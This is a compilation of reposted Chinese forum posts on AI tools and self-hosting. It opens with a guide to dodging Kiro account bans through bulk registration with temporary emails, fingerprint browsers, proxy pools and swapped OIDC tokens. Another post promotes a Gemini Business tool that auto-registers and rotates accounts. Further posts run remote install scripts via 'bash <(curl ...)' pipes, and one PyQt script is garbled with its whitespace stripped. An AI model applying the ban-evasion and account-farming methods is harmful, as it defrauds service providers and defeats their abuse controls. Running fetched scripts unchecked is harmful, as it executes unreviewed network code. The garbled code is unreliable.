2026年1月

首先很开心!终于来到了 L 大家庭!

先声明一下,我不是大佬也不是小白!下面文章提到的工具等我不提供,我也不卖!就是给大家一个解决思路!我也相信懂得人看得懂不懂的可以在评论区请教社区大佬!

其次来记录一下 Kiro 注册封号问题解决思路!可能有点啰嗦但是可以解决百分之 80% 问题!

在之前我在 Github 下载了一个开源的 Krio 注册机项目,可以自己注册实现了账号自由。结果没有几天注册的号进行封号,我重新使用注册机注册了 3 个号结果还是封号!


没错就是图片这种情况,于是开始思考了一下,为什么会出现封号!

  • 1. 批量注册封控邮箱问题
  • 2. 注册的时候 IP 被封
  • 3.mac 的机器码被封
  • 4. 浏览器问题

我开始了解决的方法,先去解决了邮箱问题我看别人都是微软的,我购买了一批注册还是不行。
我就解决 IP 问题,我购买了好多家的 IP 代理全是 US 的结果还是不行!我是 mac 电脑机器码改了还是不行!我就去下载了比特浏览器 + 购买的代理注册测试!结果还是封号!不应该的啊都解决了为什么还是一样?于是我去某鱼购买了别人的 Token 导入注册机没问题。

为什么购买别人的没问题而我的有问题?我在 L 社没看到什么解决的方法。就在我吞云吐雾的时候,发先了一个大问题!



于是我就用自己的的号注册了 Kiro 平台手动获取 Refresh Token 并起导入了注册机没有封号是正常的!我就知道了是开源的项目的注册机注册成功之后获取的 Token 有问题,于是跟着流程走到注册成功之后授权页面。


在这个页面的时候 我打开浏览器的调试模式查看了 Token 发现没有 Refresh Token 只有 x-amz-sso_authn 的 Toekn 我点击了授权导入了注册机,在注册机对比了一下一模一样!不出意外就这个问题导致的,使用 x-amz-sso_authn 获取到 Toekn 容易封号!那么解决的方法就是获取到 Refresh Token 可是我注册成功登录到 app.krio.dev 看了一下是否可以看到 Refresh Token,接口新注册的号是没有的,但是我自己的老账号明明是有的!这个就很奇怪了!我老账号是 google 登录的,新的号码是临时邮箱注册的!是不是这个问题呢?应该是的!


但是注册机添加账号有多个选项,可以使用 OIDC 凭证进行登录,虽然无法获取到 Refresh Token 但是在应用授权页面可以获取到 OIDC Token


于是我就在这个页面 点击授权之后轮询获取 OIDC Token 并添加导入到注册机发现号没有封!

所以最终的问题出在:注册机的注册流程最后一步添加的 Token 有问题,x-amz-sso_authn 的 token 现在封号,应该获取 OIDC Token 使用 Buildid 进行登录,我反正测试了很多没有封号!


不过我将注册机二开了,添加了临时邮箱注册,使用比特浏览器 + IP 代理池进行注册没有封号!
下面是我的注册流程:
1. 注册机自动获取设备授权码
2. 访问设备授权页面
3. 输入邮箱 → Continue
4. 输入姓名(新注册)→ Continue
5. 获取并输入验证码 → Continue
6. 设置密码 → Continue
7. 点击 “Confirm and continue”(设备授权确认)
8. 点击 “Allow access”(应用授权)
9. 轮询获取 OIDC Token
10. 获取到的 OIDC Token 自动到注册机



📌 转载信息
原作者:
David_wei
转载时间:
2026/1/18 09:35:01

折腾了三个半小时

1. 下载 node.js
2. 下载 gitbash 可能不需要
3. 下载 zcf,打开 cmd 输入 npx zcf

4. 输入 1,使用 glm 的 api key,不需要输入 api 的地址
5. 无脑选择,在 zcf 改下默认模型,然后退出 zcf,输入 claude,就可以了(tun 都没有的样子)

对,没了,主要对接第三方 api 问题,问题超级多,所以直接无脑 glm 吧……
虽然感觉这样子你还不如去用 ide 工具
补充,如果想要链接 vscode,下载 vscode 的对应插件……
你会发现这个教程除了让你使用现成的 api 配置,输入 key 外,没有任何含金量
最后,远离 ccr 尊重 zcf,mcp 也可以在 zcf 处理


📌 转载信息
原作者:
212741
转载时间:
2026/1/18 09:34:59

来 L 站的第二次发帖,前天下载了一个 comfyui,发现 ai 绘图进化速度真快。以前用 webui,现在都是拉工作流了。

玩了一天发现 sdxl 和 sd 模型依然需要管理一些标签,网上公开的魔导书用起来总是差点意思,不方便自定义标签,开源的也没有找到好用的。

于是自己动手丰衣足食,下面介绍一下自己的开源项目 AI2IMG_Tag

AI Tag Manager 是一个专为 Stable Diffusion、NovelAI、Midjourney、ComfyUI 等 AI 图像生成工具设计的综合性 Web 应用。集成了大模型服务,可以利用AI管理标签和生成用户需要的标签,比如用AI指令更换人物动作。

核心功能介绍:

1. 支持一键导入

导入一次性多个 tag,并用 ai 针对自己设定的类别进行分别识别 (方便从 c 站抄别人的一组词,然后选择想要的某些特征标签导入)

2.AI 许愿机

基于已选中的 tag 进行动作调整或者风格编辑,输入指令后,ai 自动从 tag 中挑选合适的标签。也可以直接根据用户质量挑选 tag 生成。

3. 批量编辑

比如:可以选择移除所有动作相关的词汇,或者让 AI 分析哪些词汇与选择类别相关,然后高亮相关词汇,用户自己决定删除哪些 tag,可以及其方便的修改人物动作,衣服或背景等。

4. 一键优化

点击魔法按钮一键优化提示词顺序,当你挑选了一大堆提示词后,顺序混乱,可以让 AI 一件优化顺序,让模型更好的理解提示词。

5. tag 转化自然语言

当你使用的是 flux 类型的模型,依然可以使用 tag 组合,然后 ai 将 tag 组合成句子

6. 支持画廊

当你创建过一些优秀作品,可以上传到画廊,连同其提示词一起上传,方便后续复现或迭代修改 (谁不想收藏一下自己的优秀作品呢? )

7. 支持多种类型 llm 供应商

by the way, 感谢站内各位大佬提供的公益站和某些富可敌国的免费额度(fox code )

地址如下:


📌 转载信息
转载时间:
2026/1/18 09:34:58

1. 登录 IPv6 VPS

如果想通过 ssh 登录 IPv6 VPS,那么你要保证自己有 IPv6 网络环境。可以通过 https://test-ipv6.com/ 测试当前是否有 IPv6 网络环境。家庭 WIFI 可能没有 IPv6,一般手机流量都是 IPv4+IPv6 的,所以你可以通过手机热点获取 IPv6 网络环境。下面的教程适用于 Debian 或 Ubuntu 系统

2. 预备操作(可选)

更新软件源并更新可更新的软件

apt update && apt full-upgrade -y

开启 BBR(需要 Linux 内核版本 >= 4.9)

echo "net.core.default_qdisc=fq" >> /etc/sysctl.conf
echo "net.ipv4.tcp_congestion_control=bbr" >> /etc/sysctl.conf
sysctl -p

开启成功会显示

net.core.default_qdisc = fq
net.ipv4.tcp_congestion_control = bbr
root@42-IPv6:~# 

3. 给 IPv6 only 机器套一个 CF IPv4 出口

使用如下脚本,语言选择简体中文

wget -N https://gitlab.com/fscarmen/warp/-/raw/main/menu.sh && bash menu.sh

到下面这个界面时,选择 1,然后一直回车


等待一会,然后看到类似如下,就说明成功获取了 IPv4 出口


为什么要套 CF IPv4 出口呢?
因为 IPv6 only 机器自身无法访问仅支持 IPv4 的网站,当我们给 v6 only 机器套了一个 CF IPv4 出口后,IPv6 only 机器就具备访问仅支持 IPv4 的网站了。例如:github,tiktok,抖音都只支持 IPv4

4. 搭建节点

这里主要给大家讲两种搭建节点的方法,各自有各自的优点。
方法一:使用 x-ui 搭建 vmess+ws 协议节点(操作起来简单并且环境要求简单)
1. 安装 x-ui

bash <(curl -Ls https://raw.githubusercontent.com/vaxilu/x-ui/master/install.sh)

安装过程中,它会让你设置账户和端口,按提示设置即可,成功后会显示类似如下

2. 登录 x-ui 面板并搭建节点
使用 IPv6 + 端口访问面板,形式例如:http://[2404:8c80:xx:800x::xx]:4242/ 你要把 IP 换成机器的 IPv6 地址,端口换成你给 x-ui 面板设置的端口,然后进入登录界面,输入你设置的用户名和密码登录即可,登录成功后你会看到类似如下


然后点击左侧入站列表,点击加号,添加入站,按照下图配置


然后复制节点连接,操作如下


此时节点链接已经复制到剪切板了导入一款代理工具即可,例如:v2rayN 或 NekoBox


看到不超时有速度就表示成功了。

方法二:使用 233Boy 脚本搭建节点
233Boy 脚本对于小白来说非常友好,脚本安装成功后直接点一点不管什么协议都可以无脑搭建出来。但是有一些 IPv6 only 在安装 233Boy 脚本会出现安装失败的情况(即使 v6 机器已经套了 CF IPv4)
1. 安装 233Boy 脚本

bash <(wget -qO- -o- https://github.com/233boy/sing-box/raw/main/install.sh)

如果你很幸运,直接安装成功了,233Boy 脚本安装成功后会自动生成一个 vless 协议节点,如下图,复制节点链接,导入到一个代理工具中


2. 在代理工具中修改一下节点


233Boy 给出的节点 IP 是我们使用 warp 脚本获取的 CF 的 IPv4 地址,如果你不做修改,直接使用,你会发现节点用不了。因为 warp 获取的 IPv4 地址只支持出口流量,不支持入口流量,所以我们要把这个 IP 改成你的 IPv6 only 机器的 IP


测试发现不超时有速度,恭喜你搭建成功。
3. 如果 233Boy 安装失败
例如出现如下错误


这个问题大概率还是因为 IP 的原因,这时候你需要一个代理服务器,转化一下 github 的这个 233Boy 脚本,这里提供下面下载链接,下载成功后的操作和上面直接下载成功的操作一样哦

bash <(wget -qO- -o- https://ghproxy.indevs.in/https://github.com/233boy/sing-box/raw/main/install.sh)

这个链接是利用 ǝɔ∀ǝdʎz∀ɹɔ 大佬利用 cloudflare 的 worker 搭建的服务转换过来的,原地址在: https://ghproxy.indevs.in/ ,ǝɔ∀ǝdʎz∀ɹɔ 大佬乐于助人技术高超,他的博客质量也很高,博客地址: https://zelikk.blogspot.com/

结语

宝子们,你们现在已经掌握了在 IPv6 only 机器搭建节点,快去试试吧。
本次教程所用机器是 @4242 的 IPv6 机器(这个机器可以直接安装 233Boy), 机器不错哦。
如果你想让 IPv6 机器搭建的节点在只有 IPv4 环境的设备上也能使用,你可以看看 这篇文章
如果你想使用 233Boy 搭建其他协议节点,你可以看看 最好用的 sing-box 一键安装脚本 - 233Boy 这篇文章


📌 转载信息
原作者:
nianzhibai
转载时间:
2026/1/18 09:11:40

起因

up 在使用 Claude code 之后,觉得这种 CLI 工具比 IDE 中的 AI 工具更好用一点 (。・ω・。)ノ♡,于是就想到了 github copilot

GitHub copilot 就算是 free 账户也会有大量的免费的限额,而且 up 还申请了 GitHub Student Pack,可以免费使用 GitHub copilot (≧◡≦) ♡

然后就在 GitHub 上找到了 copilot-api 这个项目 copilot-api

简单使用

项目支持 docker 和本地启动两种方式。项目支持多个参数启动,实现各种额外的功能(例如自定义监听端口,设置发送次数频率上限)

同时,还支持展示 GitHub copilot 的使用情况,例如剩余的请求次数等。


copilot-api.cmd check-usage

或者访问 https://ericc-ch.github.io/copilot-api?endpoint=http://localhost:4141/usage 查看使用情况。

~/.claude 文件夹中的 settings.json 文件中,添加以下配置

 "ANTHROPIC_BASE_URL": "http://localhost:4141", "ANTHROPIC_AUTH_TOKEN": "dummy",//任意的“token”都行 "ANTHROPIC_DEFAULT_HAIKU_MODEL": "claude-haiku-4.5", "ANTHROPIC_DEFAULT_SONNET_MODEL": "claude-sonnet-4.5", "ANTHROPIC_DEFAULT_OPUS_MODEL": "claude-opus-4.5", 

然后就可以愉快地使用 GitHub copilot 反代出来的 claude(≧▽≦)/

疑问╰(°▽°)╯

copilot 在 vscode 中的上下文似乎是被限制在了 128K,那么 copilot-api 反代出来的 claude 应该也是有这个限制的 (#°Д°)

Important

给项目原作者点个 star 吧,我只是发现并分享了它 (。・ω・。)ノ♡·


📌 转载信息
转载时间:
2026/1/18 09:11:06

久等了。
恰逢 L 站两周年!

一定要更新!!!
刚刚更新了登录浏览器数据清理、微软验证码优化、无痕登录、浏览器引擎 DP/UC 等等

首先感谢以下大佬和相关项目(可能有漏,联系补上)

SnapSheep 【Gemini Business 注册机】
dasfsa sa 【微软邮箱注册机】
又笨又坏Zooo1 【DuckMail 邮箱注册】
gemini business 究极缝合怪
F 佬 Linux.do 讨论
heixxin/gemini | Linux.do 讨论
Gemini-Link-System | Linux.do 讨论
DuckMail 邮箱
kitwing

非常感谢每一位佬友的付出。
终于,2api 项目解决了最后一个痛点: 无法自动刷新账号
一开始也是自己有点需求,随便弄了弄了,以为没什么人看,没想到后续项目越来越多大佬加入、各种完善,现在,几乎每个人都可以实现 Gemini 全系、香蕉画图自由!且上手门槛极低!

一定注意更新!!!

主要功能:

  • 全新优雅现代的管理面板
  • 多账号负载均衡 - 轮询与故障自动切换
  • 自动化账号管理 - 支持自动注册与登录,集成 DuckMail 和 Microsoft 邮箱,支持无头浏览器模式
  • 多模态输入 - 100+ 文件类型(图片、PDF、文档、音频、视频、代码等)(未经测试)
  • 图片生成 & 图生图 - 模型可配置,Base64 或 URL 输入 / 输出
  • 日志与监控 - 实时状态与统计信息
  • 可选 PostgreSQL 后端 - 支持账户 / 设置 / 统计持久化

页面截图

页面截图


项目地址(求 Star)

Dreamy-rain/gemini-business2api: OpenAI-compatible API for Gemini Business with multi-account load balancing and image generation | 将 Gemini Business 转为 OpenAI 兼容接口,支持多账户负载均衡与图像生成

重要:

  1. 注册失败建议关闭无头浏览器可以直接看到问题
  2. 邮箱用微软邮箱最佳。
  3. 另外建议有域名条件的佬友,尽量用自己的域名邮箱注册,保活时间更长,教程参考项目中的文档中心里面的使用教程。

未来计划:

  • 修复 Docker 部署
  • 多模态 URL 失效 500 报错问题
  • 同一 IP 风控问题(http 或 socks 代理解决)
  • Gemini 回复截断问题
  • 更多计划

欢迎更多佬友 PR

注意,抱脸不支持自动注册刷新账号等功能!!!

另外,预告一下本项目的本人公益站,注册赠送 100​,Gemini3PP 按次计费 1​/ 次
目的:想赚点 LDC、用来购买站内大佬的 CC,方便更快更新程序!
用的香港的小鸡,不知道抗不扛得住,不知道运营多久。
之后可能更新主贴,先给三级佬友测试,抱脸部署的,画图不稳定。
暂时先这样,测试运营。

主站:https://free.nanohajimi.mom/

打赏 66 建议购买公益站 Gemini 额度

也可直接打赏 LINUX DO Credit

感谢各位!


📌 转载信息
原作者:
Dreamy-rain
转载时间:
2026/1/18 09:10:56

vibe coding 练习

对话输入 prompt 总时长:3min

编辑器:antigravity
基座模型:claude opus 4.5
其他插件:无

ai 总工作时间:30min




📌 转载信息
原作者:
kvchiu
转载时间:
2026/1/18 09:10:12

各位佬友好,分享一个自己 Vibe Coding 项目。

一句话介绍:

又一个文件传输工具,点一下按钮部署到 Cloudflare Workers 全球边缘节点(感谢赛博大善人),文件走 WebRTC 点对点传输,服务器只负责牵线,全程端到端加密,完全免费。

核心特点

传输相关:

  • 优先 WebRTC P2P 直连,连不上自动降级中继(5 秒内切换)
  • 支持传文件、发消息、发图片

安全相关:

  • AES-256-GCM 加密,密钥用 ECDH 协商
  • 房间可以设密码,双重加密
  • 服务器零知识,不存任何文件内容

部署相关:

  • 一键部署到 Cloudflare Workers,免费额度够用
  • 前端纯原生 JS,零依赖,加载快
  • 支持 PWA,可以装到桌面当 App 用

其他:

  • 支持 9 种语言(中英日韩法德西阿 + 繁体)
  • 移动端适配做了优化,底部导航栏
  • MIT 开源

技术栈

Cloudflare Workers + Durable Objects + WebRTC + Web Crypto API,前端原生 JS 零依赖。

项目链接

项目截图


欢迎各位佬友试用反馈,本项目全程 Vibe Coding 实现,有问题随时提 issue,觉得有用给个 star 就是最大支持。


📌 转载信息
转载时间:
2026/1/18 09:09:22

自己日常用青龙面板搞自动化,看到好项目都忍不住想往上搬

这次发现佬友 mumuladu 的 A 股 AI 分析神器,可惜不支持青龙,于是手痒改了一版,分享给同样用青龙的朋友们~

  • 适配青龙定时任务,收盘自动跑
  • 支持 20+ 推送渠道,报告直达手机

感谢原作者开源!开源精神万岁!

daily_stock_analysis_ql

附上几个截图


📌 转载信息
转载时间:
2026/1/18 09:09:09

importsysfromPyQt5.QtWidgetsimport(QApplication,QMainWindow,QListWidget,QVBoxLayout,QLineEdit,QWidget,QFrame)fromPyQt5.QtCoreimportQt,QEventfromPyQt5.QtWidgetsimportQDesktopWidgetimportpyautoguiimportpyperclipimporttimedefpowertoy_active_window(text):sleep_second=0.2time.sleep(sleep_second)pyautogui.hotkey("win","alt","k")time.sleep(sleep_second)pyperclip.copy(text)pyautogui.hotkey("ctrl","v")time.sleep(sleep_second)pyautogui.hotkey("enter") classCommandPalette(QWidget):def__init__(self,parent=None):super().__init__(parent)# 1. 设置 UI 属性:无边框、置顶、背景透明self.setWindowFlags(Qt.FramelessWindowHint|Qt.Dialog)self.setAttribute(Qt.WA_TranslucentBackground) # 外层容器(用于实现圆角和边框)self.container=QFrame(self)self.container.setFixedWidth(500)self.container.setStyleSheet("""QFrame {background-color: #252526;border: 1px solid #454545;border-radius: 6px;}""") layout=QVBoxLayout(self.container) # 2. 搜索输入框self.search_bar=QLineEdit()self.search_bar.setPlaceholderText("键入命令名称以筛选...")self.search_bar.setStyleSheet("""QLineEdit {background-color: #3c3c3c;color: #cccccc;border: 1px solid #007acc;padding: 6px;font-size: 14px;selection-background-color: #264f78;}""") # 3. 命令列表self.list_widget=QListWidget()self.list_widget.setStyleSheet("""QListWidget {background-color: #252526;color: #cccccc;border: none;font-size: 13px;outline: none;}QListWidget::item { padding: 10px; border-radius: 4px; }QListWidget::item:selected { background-color: #094771; color: white; }QListWidget::item:hover { background-color: #2a2d2e; }""") layout.addWidget(self.search_bar)layout.addWidget(self.list_widget) main_layout=QVBoxLayout(self)main_layout.setContentsMargins(0,0,0,0)main_layout.addWidget(self.container,alignment=Qt.AlignCenter) # 模拟命令数据# self.commands = [# "File: New File",# "Git: Commit All",# "Python: Run Current File",# "Settings: Open Settings",# "Terminal: Toggle Terminal",# "View: Layout Grid"# ]self.commands=[["1. book","book code"],["2. anti2","anti2 code"],["4. chrounim","chro"],["5.q-dir","q-dir"],]self.refresh_list("") # 信号连接self.search_bar.textChanged.connect(self.refresh_list)self.search_bar.returnPressed.connect(self.execute_selected)self.list_widget.itemClicked.connect(self.execute_selected) # 2. 当在列表中通过方向键选中某项并按回车时,触发 itemActivatedself.list_widget.itemActivated.connect(self.execute_selected) # 安装事件过滤器以捕获按键self.installEventFilter(self) defrefresh_list(self,text):self.list_widget.clear()# 简单的包含搜索(不区分大小写)# filtered = [cmd for cmd in self.commands if text.lower() in cmd.lower()]filtered=[info[0]forinfoinself.commandsiftext.lower()ininfo[0].lower()]self.list_widget.addItems(filtered)ifself.list_widget.count()>0:self.list_widget.setCurrentRow(0) defexecute_selected(self):item=self.list_widget.currentItem()ifitem:print(f"触发动作:{item.text()}")text=item.text()item=[eforeinself.commandsife[0]==text][0]send_text=item[1]print("#执行命令#:{}".format(send_text))powertoy_active_window(send_text)# self.hide()QApplication.instance().quit() defshow_palette(self):width=500height=400# 假设高度为 400self.setFixedSize(width,height) # 2. 获取屏幕中心# availableGeometry() 会避开任务栏,确保真正的视觉垂直居中screen_geo=QDesktopWidget().availableGeometry()screen_center=screen_geo.center() # 3. 计算面板位置,使其中心点与屏幕中心点重合# 我们可以通过 moveCenter 方便地实现qr=self.frameGeometry()qr.moveCenter(screen_center)self.move(qr.topLeft()) # 4. 显示并聚焦self.show()self.raise_()self.activateWindow()self.search_bar.setFocus()self.search_bar.selectAll()# 方便用户直接覆盖键入 defeventFilter(self,obj,event):ifevent.type()==QEvent.KeyPress:# Esc 键退出ifevent.key()==Qt.Key_Escape:self.hide()returnTrue# 下方向键快速进入列表选择ifevent.key()==Qt.Key_Downandself.search_bar.hasFocus():self.list_widget.setFocus()returnTruereturnsuper().eventFilter(obj,event) classMainWindow(QMainWindow):def__init__(self):super().__init__()self.setWindowTitle("PyQt5 VS Code Command Palette")self.resize(1000,700)# self.minimumSize()self.showMinimized()self.setStyleSheet("background-color: #1e1e1e;")# 模拟 VS Code 背景 # 初始化命令面板self.palette=CommandPalette(self)# self.palette.hide()self.palette.show_palette()defcenter_on_screen(self):# 获取窗口几何结构frame_geometry=self.frameGeometry() # 获取屏幕中心点# QDesktopWidget().availableGeometry() 会排除任务栏占据的空间screen_center=QDesktopWidget().availableGeometry().center() # 将窗口几何结构的中心点移动到屏幕中心点frame_geometry.moveCenter(screen_center) # 移动窗口左上角到计算出的位置self.move(frame_geometry.topLeft()) defkeyPressEvent(self,event):# 绑定快捷键 Ctrl+Shift+P (Qt.ControlModifier | Qt.ShiftModifier)if(event.modifiers()==(Qt.ControlModifier|Qt.ShiftModifier)andevent.key()==Qt.Key_P):self.palette.show_palette() if__name__=="__main__":app=QApplication(sys.argv)# 设置应用字体app.setStyle("Fusion")window=MainWindow()window.show()sys.exit(app.exec_())

这个东西的主要作用是当我输入 1 时,它会找到 ["1. book", "book code"]这一项,然后 取出book code,然后激活 window 窗口切换器
,我的窗口切换器的的快捷是Win+alt+k,本来想用 ahk 来写的,但是 ahk 写 command picker 实在是不会.

33 TB 的图书资源,STC 项目

Music 搜查(可以下载 80 多万歌歌词,但不能听)

10 多万首音乐 (可以在线听和搜查)

其他

其他

相关链接

Summa(tantivy 的 wasm 版,速度非常快)

LrcApi

https://docs.lrc.cx/

STC

sql.js-httpvfs

pdp

https://pdp-asset-v6-navy.ipns.gateway.v2ex.pro
大容量网盘,一次性上传超过 150 GiB,可以帮忙生成一个类似与 OpenList 的网页


📌 转载信息
原作者:
ozre
转载时间:
2026/1/18 08:52:01

之前在小黑盒看到过说把收藏夹导出,copy 给大模型整理出新的源码,然后再导入回去。就想能不能把这个做成个浏览器插件,虽然完全没做过,但是好在现在有 vibe coding。于是今天就趁着周末动手了。GitHub - PaiPai121/ReShelf





碰到的坑主要是一些几个吧:
chrome 插件如果一段时间没心跳信号就被杀掉了,这个之前没了解过,然后如果大模型算的太慢就可能会被杀掉,然后还不一定能复现,因为不一定每次要思考多久。和 ai 反复聊了才发现。
另一个就是想单纯依靠免费的 api 来实现,调试过程中好像把 gemini 的免费额度用完了,最后发现 openrouter 的免费模型很适合搞这个。
cursor 生成代码的边界保护做的倒是还挺不错的。
还有很多需要细化的地方,希望各位佬们尽情指点。


📌 转载信息
原作者:
Niya
转载时间:
2026/1/18 08:51:50

主要基于 NapCat 框架对接的,Python 实现,代码比较粗糙,技术含量也比较低,主要是由于自己看不懂 nonebot 的开发文档,就自己搓了一个(

有佬友喜欢的话可以直接拿来用,有佬友喜欢的话也可以点个星星

下面这个是我自己用的机器人成品

功能特性

  • 心跳检测机器人在线状态
  • 掉线自动发送飞书通知
  • 模块动态加载,无需修改核心代码
  • 群聊 / 私聊功能开关独立控制
  • 支持定时任务
  • 支持自动撤回消息
  • 私聊消息转达到管理员
  • 日志自动记录与清理
  • 提供完整的模块开发模板

相关的开发文档都在 GitHub 仓库中


📌 转载信息
原作者:
W1ndys
转载时间:
2026/1/18 08:51:40

方案概述

本方案利用 Cloudflare 的 Zero Trust(原 Cloudflare Access)和 Cloudflare Tunnel(原 Argo Tunnel)功能,实现内网服务的安全访问。

通过配置安全认证和基于 Cloudflare Worker 的动态 IP 白名单,确保只有授权用户能够访问内网资源,同时适配不支持认证的客户端。

前期准备

  • Cloudflare 账号及域名

  • Docker 环境(可选)

  • npm 环境(用于部署 Worker 脚本)


一、配置 Cloudflare Tunnel

1. 创建隧道

  1. 登录 Cloudflare 控制台,选择 Zero Trust

  2. 导航到 网络 > 连接器

  3. 选择 创建隧道 > 选择 Cloudflared > 填入名称 > 保存隧道

2. 启动隧道

网页会提供一段启动命令,复制并在内网服务器上执行。默认显示 Windows,可切换至 Mac、Debian、Red Hat、Docker 等系统。

Docker Compose 方式:

 services: cloudflared:  cloudflare/cloudflared:latest container_name: cloudflared restart: unless-stopped command: tunnel --no-autoupdate run --token <YOUR_TUNNEL_TOKEN> 

3. 配置路由

选择 路由隧道 / 已发布应用程序路由 添加路由,填写子域名和内网服务地址(如 http://localhost:8080)。

注意: 直接填写内网服务地址,不要经过 nginx 等代理。


二、配置 Cloudflare Access 安全认证

1. 创建应用程序

  1. 导航到 Zero Trust > 访问控制 > 应用程序 > 添加应用程序

  2. 输入应用名称

  3. 添加公共主机名(即上一步配置的子域名)

2. 创建访问策略

  1. 选择 创建新策略,输入策略名称

  2. 操作选择 允许

  3. 选择器类型选择 电子邮件

  4. 输入允许访问的用户邮箱(可根据需要选择其他认证方式)

  5. 保存策略

提示: 不支持认证的客户端应用的处理办法将在后续章节介绍。

3. 关联策略

回到应用程序页面,选择现有策略,关联刚创建的策略。

完成配置后,访问该子域名时会被重定向到 Cloudflare 的认证页面,只有通过认证的用户才能访问内网服务。


三、配置动态 IP 白名单(可选)

3.1 适用场景

如果应用程序不支持 Cloudflare Access 认证,或者频繁认证不便,可以通过 Cloudflare Worker 实现动态 IP 白名单功能。

3.2 部署项目

使用项目 cloudflare_dynamic_ip_list 来实现动态 IP 白名单功能。

3.2.1 克隆项目


git clone https://github.com/AinzRimuru/cloudflare_dynamic_ip_list.git

3.2.2 创建 KV Namespace

运行以下命令创建 KV 命名空间,用于维护 IP 的过期状态:


wrangler kv namespace create IP_WHITELIST

记下返回的 ID,填入 wrangler.toml[[kv_namespaces]] 部分的 id 字段。

3.2.3 创建 IP 列表

  1. 打开 Zero Trust > 可重用组件 > 列表 > 创建列表

  2. 创建后记下列表 ID(点开 List 页面,在 URL 中可以看到 ID,形如 ********-****-****-****-************

  3. 将该 ID 填入 wrangler.toml[vars] 部分的 LIST_ID 字段

3.2.4 获取 Account ID

  1. 打开 计算和 AI > Workers 和 Pages

  2. 在右边可以看到 Account Details

  3. 记下 Account ID,填入 wrangler.toml 中的 ACCOUNT_ID 字段

3.2.5 配置允许的域名(可选)

如果配置了新域名,且希望仅允许该域名访问,可以在 wrangler.toml[vars] 部分的 ALLOWED_HOSTS 字段添加域名,多个域名用逗号分隔。

如果不配置该字段,则允许所有域名访问。

3.2.6 部署 Worker 脚本


npx wrangler login

npx wrangler deploy --config config/wrangler.toml

3.3 配置白名单的 Bypass 策略

  1. 在 Cloudflare 控制台,导航到 Zero Trust > 访问控制 > 策略

  2. 创建新策略,名称自定义

  3. 操作选择 BYPASS

  4. 选择器类型选择 IP List,值为刚创建的 List 名称

  5. 保存策略

关联策略: 将策略添加到刚刚创建的应用程序中,排名第 1 位。这样,IP 在白名单中的请求将绕过认证直接访问内网服务。

3.4 IP 白名单的注册鉴权(Token 方式)

3.4.1 创建服务凭据

  1. 选择 Zero Trust > 访问控制 > 服务凭据 > 创建凭据

  2. 输入名称,创建后记下 Client IDClient Secret

3.4.2 创建 Worker 应用程序

  1. 新建应用程序,名称自定义

  2. 公共主机名填写 Worker 脚本的域名(如 your-worker.your-domain.com

3.4.3 创建 SERVICE AUTH 策略

  1. 创建新策略,名称自定义

  2. 操作选择 SERVICE AUTH

  3. 选择器类型选择 Service Token,值为刚创建的服务凭据名称

  4. 保存策略

3.4.4 关联策略

回到 Worker 的应用程序页面,选择现有策略,关联刚创建的策略。

3.5 IP 白名单的注册鉴权(Email 方式)

  1. 创建新策略,名称自定义

  2. 操作选择 Allow

  3. 选择器类型选择 Emails,值为允许注册的邮箱地址(可添加多个)

  4. 保存策略后,回到 Worker 的应用程序页面,关联刚创建的策略

3.6 使用说明

  • 浏览器访问 Worker 脚本的域名,完成认证后,IP 将被添加到白名单中,且在指定时间内有效。

  • 对于不支持认证的客户端应用,可使用自动化任务(如 iOS 的快捷指令等)配置 CF-Access-Client-IdCF-Access-Client-Secret 请求头,实现自动认证。

注意: 自动化任务可能无法指定请求时的 IPv4/IPv6 地址,因此可以尝试重复请求多次以确保 IPv4 和 IPv6 地址均被添加到白名单中。

这些是全部的内容了,但还是希望能够来博客看看。基于 Cloudflare 的内网穿透解决方案(含安全认证及动态 IP 白名单)


📌 转载信息
原作者:
RimuruTempest
转载时间:
2026/1/18 08:51:32

【solo-agile-template】人人都是全栈工程师 以及 人人都是全栈工程师第二弹 后,作者君持续探索全栈工程师 & 一人公司 这条道路。在之前的探索上,这次我基于 AionUi 新包还没发成(skills 有 bug),先冲上 github 榜 1 了... 瓦砾酱的 AionUI 二次开发了 CodeConductor(简称 CC )。

CodeConductor 相比与 AionUI,引入了 command、Skills 等特性,并且引入了作者念念不忘的 Multi-Agent 协作体系,允许多个 Assistant 通过协作来解决复杂项目开发和管理的问题。另外在交互上做了一点小优化。目前 CC 的中期目标是让能通过 CodeConductor 来对 CodeConductor 进行迭代开发,左脚踩右脚直接螺旋升天!


📌 转载信息
转载时间:
2026/1/18 08:51:30

Gemini CLI 安装

下面教程主要介绍如何安装 gemini cli 并且使用第三方 api 提供的模型。

操作系统为 windows 11,安装工具是 nodejs。

1. 安装 node.js

如果使用 node 安装过 claude code cli,那么可以跳过这一步。

到官网下载 node.js 的安装包程序,点击完成安装。都默认配置,下一步完成安装即可。

安装后在终端工具中输入 node -v 和 npm -v 查询 node 和 npm 的版本,检查是否安装成功。如果成功返回版本号就表示安装成功了。

D:\Users\qozi>node -v
v20.19.5

D:\Users\qozi>npm -v
10.8.2

效果图如下:

2. 使用 npm 工具安装 gemini cli

在终端中输入下面的命令,然后等待完成安装:

npm install -g @google/gemini-cli --registry=https://registry.npmmirror.com

–registry=https://registry.npmmirror.com 这个参数是指定下载源,如果有梯子网络比较好,可以不加。

效果图如下:

使用 npm 命令时间比较久,大家耐心等待。如果喜欢研究的可以了解一下 yarn 和 pnpm。

3. 配置第三方 api 站的地址和密钥

完成上面的步骤就已经可以在终端中使用 gemini 命令使用了,会进入到认证页面。因为我们要使用第三方 api,所以没必要现在就启动,先按照下面的步骤完成第三方 api 的配置。

主要两个配置 .env​ 和 settings.json 两个文件。(我不太喜欢配置系统的环境变量,所以一般都是在配置文件中设置)

首先要注意这两个文件的位置:都是在当前用户目录下的 .gemini 文件夹下面。(安装过 claude code 的可以参照 .claude 文件夹,他们是在同一个层级下)

我的用户目录是 D:\Users\qozi ,对应的这两个文件的位置如下图:

如果用户目录没有 .gemini 文件夹的,就照着手动创建一下。

3.1 .env 文件的内容

#开头的是注释,这个可有可无。 GOOGLE_GEMINI_BASE_URL​ 填你的 api 的地址,GEMINI_API_KEY 填你的密钥。

### gemini cli  .env 配置 # imyal api
GOOGLE_GEMINI_BASE_URL=https://hk-api.gptbest.vip
GEMINI_API_KEY=sk-xxx
GEMINI_MODEL=gemini-3-pro-preview

3.2 settings.json 文件的配置

security.auth.selectedType 指定认证类型。使用第三方 api,必须这样填。该参数默认是 undefine。

{
  "security": {
    "auth": {
      "selectedType": "gemini-api-key"
    }
  }
}

settings.json 的配置只写了 api 认证需要的的配置,其他的配置还有很多,大家可以自行探索。文档最后会给出官方的文档地址和他提供的一个示例。

配置好后就可以在终端中输入 gemini 开始使用了。

